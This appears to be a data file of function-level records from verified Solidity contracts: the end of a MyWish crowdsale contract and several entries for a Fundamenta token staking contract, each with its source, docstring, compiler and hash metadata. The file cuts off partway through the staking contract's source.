MyWishToken(token).addExcluded(TEAM_ADDRESS);
MyWishToken(token).addExcluded(BOUNTY_ADDRESS);
MyWishToken(token).addExcluded(PREICO_ADDRESS);
MyWishRateProvider provider = new MyWishRateProvider();
provider.transferOwnership(owner);
rateProvider = provider;
}
/**
* @dev override token creation to integrate with MyWill token.
*/
function createTokenContract() internal returns (MintableToken) {
return new MyWishToken();
}
/**
* @dev override getRate to integrate with rate provider.
*/
function getRate(uint _value) internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, _value);
}
function getBaseRate() internal constant returns (uint) {
return rateProvider.getRate(msg.sender, soldTokens, MINIMAL_PURCHASE);
}
/**
* @dev override getRateScale to integrate with rate provider.
*/
function getRateScale() internal constant returns (uint) {
return rateProvider.getRateScale();
}
/**
* @dev Admin can set new rate provider.
* @param _rateProviderAddress New rate provider.
*/
function setRateProvider(address _rateProviderAddress) onlyOwner {
require(_rateProviderAddress != 0);
rateProvider = MyWishRateProviderI(_rateProviderAddress);
}
/**
* @dev Admin can move end time.
* @param _endTime New end time.
*/
function setEndTime(uint _endTime) onlyOwner notFinalized {
require(_endTime > startTime);
endTime = uint32(_endTime);
}
function setHardCap(uint _hardCapTokens) onlyOwner notFinalized {
require(_hardCapTokens * TOKEN_DECIMAL_MULTIPLIER > hardCap);
hardCap = _hardCapTokens * TOKEN_DECIMAL_MULTIPLIER;
}
function setStartTime(uint _startTime) onlyOwner notFinalized {
require(_startTime < endTime);
startTime = uint32(_startTime);
}
function addExcluded(address _address) onlyOwner notFinalized {
MyWishToken(token).addExcluded(_address);
}
function validPurchase(uint _amountWei, uint _actualRate, uint _totalSupply) internal constant returns (bool) {
if (_amountWei < MINIMAL_PURCHASE) {
return false;
}
return super.validPurchase(_amountWei, _actualRate, _totalSupply);
}
function finalization() internal {
super.finalization();
token.finishMinting();
MyWishToken(token).crowdsaleFinished();
token.transferOwnership(owner);
}
}
|
setEndTime
|
function setEndTime(uint _endTime) onlyOwner notFinalized {
require(_endTime > startTime);
endTime = uint32(_endTime);
}
|
/**
* @dev Admin can move end time.
* @param _endTime New end time.
*/
|
NatSpecMultiLine
|
v0.4.18+commit.9cf6e910
|
bzzr://b0fcdaa47ec8f5b451fdeace4fbe4cfacf66881a5032e6524fd05619de3d504f
|
{
"func_code_index": [
2035,
2183
]
}
| 55,495 |
|||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
setAddress
|
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
|
//-------Set Token Address----------------
|
LineComment
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
2175,
2315
]
}
| 55,496 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
createStake
|
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
|
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
3064,
3648
]
}
| 55,497 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
